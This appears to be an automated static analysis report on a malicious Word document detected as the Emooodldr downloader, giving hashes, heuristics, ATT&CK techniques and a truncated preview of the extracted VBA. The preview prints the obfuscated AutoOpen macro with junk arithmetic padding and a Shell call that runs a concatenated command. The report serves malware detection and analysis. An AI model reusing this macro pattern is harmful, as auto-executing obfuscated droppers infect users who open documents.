Emooodldr — Office (OLE) malware analysis

Static analysis result for SHA-256 7fe8d136d3482de6…

MALICIOUS

Office (OLE)

80.1 KB Created: 2018-09-14 09:23:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 44fe8fcfa76bb2fde507ff9acccc4b25 SHA-1: e8eafb80f000efb5b67ce75eae731ed0fef1e533 SHA-256: 7fe8d136d3482de60aad91f891815b5d7bf8a23574c1d889bf9ebf20767508a8
202 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes a Shell() call, a critical heuristic firing, indicating it likely executes a command to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Emooodldr-6691362-0' further supports the identification of the Emooodldr family.

Heuristics 6

  • ClamAV: Doc.Malware.Emooodldr-6691362-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6691362-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37036 bytes
SHA-256: 507e51b469a77b2ad55651b790abe3e2fbdca81ecb00b8eb15eaa0201bedb190
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "iULZHLRpziZiOk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
   Dim itCjv()
ReDim itCjv(4)
itCjv(0) = 94892 * fOrwbw / sBIjwC * fVYRhf / YohAVz * fSrtuB * (4367 / RuVnG / 98060 / stRpT / 97173 / dRNST)
itCjv(1) = (aJvFw * NiQqE / zMEiw / YbIvoi) / jhHoZf / hvtHwP / 83220 / ljbCNo / (41487 * TzVUtr)
itCjv(2) = iVNZPZ / 10399 / rLcTBS * fjCZpc
itCjv(3) = (lUrLv * 77492 / 78257 / LiqwO / lqbZjm * rkVTTW / pRTCV * jsiEi)

   Dim mztcD()
ReDim mztcD(3)
mztcD(0) = (7588 / tpaAI * 80314 / tkVrbR / 38819 / tPndE / 5281 * HXuPjz / 84564 * sQPNaz * 82101 * tfZqI)
mztcD(1) = 25328 / DzlYG * pZzHBi * GtJmB * caMEtP / wuziM / uKrPuZ / MDqQFZ * 33124 * MzWnoP / mqvsID * ucUuRn / PdOMPh * jvwUz
mztcD(2) = (30350 * 69890 / brYUJX / UCQid / (OwLHd * wVHaYi * 23070 / vzXKn * ABcVzi / OJLwh / PVzmN / VnYTR))

   Dim VEWfFv()
ReDim VEWfFv(4)
VEWfFv(0) = (INTpJz * iLvir) * whvKJq / KbhLV
VEWfFv(1) = (jAKnj * lWGIfz * VwFMX * JGBnJM * PdVjf / TzTYX)
VEWfFv(2) = (47901 * nFIpZ * 31052 * FUUFP)
VEWfFv(3) = 19438 * MGiMB * LaHBZc * dGCYh * IzDzLO * zPuIQR / jGroM * wEMzH / wsjzS / XbCZJI

   Dim iPXFNZ()
ReDim iPXFNZ(5)
iPXFNZ(0) = (62630 / uWuto / uswmpQ / KFIZij / (aYnvNm / ciASQ * jOkwHK * MkntRj))
iPXFNZ(1) = (232 / JPjis / 9111 * VizjBz / (NvTZU / 7902 * 92885 * LRUjP * 81428 * tdjmjS / 28609 * jXrGs))
iPXFNZ(2) = zaIAu / sasLw / (oEOOJ / 79553)
iPXFNZ(3) = loWzPQ / wbjCdz * (8046 * OrMjU / sTlVq * dKFVN * (UGNba / jwYQqq))
iPXFNZ(4) = wTWpXC / UTtVli * 47267 * UoWOo / czEnQS * Yvbdu / 73953 * oHUhTn

   Dim Ibvjzk()
ReDim Ibvjzk(4)
Ibvjzk(0) = (HoWPN / 22843 / 20091 * DmGpwR) * QQbMs * TKziVN / XIjwW / pEMkE * 71012 / mwmDS
Ibvjzk(1) = 43869 / HLfEmr / 36450 * iYjszv * 34664 / 89932 * HTpcw / jXbfD
Ibvjzk(2) = (40328 / uPwhH / dcLio / ZnDMm / UDhvz * DLHzjL / (23899 * THiQu))
Ibvjzk(3) = 31666 * FRcwoB * WPcLoN * RpzQQd * EdvzSY / SJmRWd / mEzLj * 55047

   Dim WVXwhB()
ReDim WVXwhB(3)
WVXwhB(0) = 33506 / AdmsBn / (63833 / VctDFq * RkTflz / kAGMH / 49684 / TqjBfl / (77657 * kNwXDp / jlmjc / NNWji))
WVXwhB(1) = 91490 / mlpjHT * 4062 * MCaEEi * GjOwP * RVZazW * 11558 / 55938
WVXwhB(2) = VAqvz / XSPjnR / iMbXX * HqSif / UQQFK / 94291

   Dim ChaOJ()
ReDim ChaOJ(4)
ChaOJ(0) = CiNwNc * unMzZ / 97901 * VTDSKi * iHNFmr / UBlNO / (LYcTUD / ZcDGkw / njiID * HTbAsa)
ChaOJ(1) = (72269 / amblL * hzrjz / mCFEH * (onUkW * Jnfrzc / uRpzqc / ZmVpr))
ChaOJ(2) = (90841 / woEOW / XmzmpP / 94802) * (XjqAPH / pzDPc * 74191 * CRftbS * 24505 * adaiDI * 37772 / JaisC)
ChaOJ(3) = 11605 / pcnIGr * 2546 / uGcjjH

Shell@ zYbzjl + rqwUabktc + VWRCHjaw, Format(0)
   Dim sqsjU()
ReDim sqsjU(4)
sqsjU(0) = (25541 / pvBtb / 69571 * zTwZw * (iAtiV * pRajN / dwzAEn / 10984 / QEjAN / mEFnkA / 99227 / irwNK))
sqsjU(1) = (4558 * BOLoJ) * 97371 * NwPKUi / dUtRbj / MmzMlP
sqsjU(2) = (25473 / DqcDq) * (pVLEv / rIXafQ * 36726 / XDwjW)
sqsjU(3) = (73418 / bMbYia / (tZhQr / owhMfi / DPZjUw / kAuth))

End Sub



Attribute VB_Name = "NJkjMXlPwsP"
Function zYbzjl()

On _
Error _
Resume _
Next
Dim sPYSi()
ReDim sPYSi(4)
sPYSi(0) = nuaKkA * MBknvz * (APMzBd / tchKaO * (32742 / KrORO * THTAG * kffEkO))
sPYSi(1) = AcDZR / ztRsz * 19579 / XwqsZi
sPYSi(2) = XhHswu / INzdZL / 14963 / nHSzM / (RBPUq * Ropmi / djSUK * 51776)
sPYSi(3) = QojUP / 50305 / 97134 * GIiacS / (38710 * jsYHZ / 44699 * YKwTi * (46007 * Szravc))

   Dim zIERw()
ReDim zIERw(4)
zIERw(0) = DYIIwC / SaRMk / 77997 / wzusT / zAwbzc / OvXOtZ * 68937 / sNYvp / 6230 / JKPGjm
zIERw(1) = AOLwK * DcjIWa * (WCDSL * qDlWw * 57460 / CqmMtw)
zIERw(2) = wvJCuP * KQhPZ / vYHHw * 90454 / wLOrPV / jMpTP / (51095 / 72989 / bsAYv / jnEHX)
zIERw(3) = 29841 * djfQwU / 85545 * jSmZqU / aNzwcm / 93930

   Dim HMJvb()
ReDim HMJvb(5)
HMJvb(0) = wahhH * uMfHV / 64834 / wHzwQc * UlkImE * tVFGkM * QGrAB /
... (truncated)

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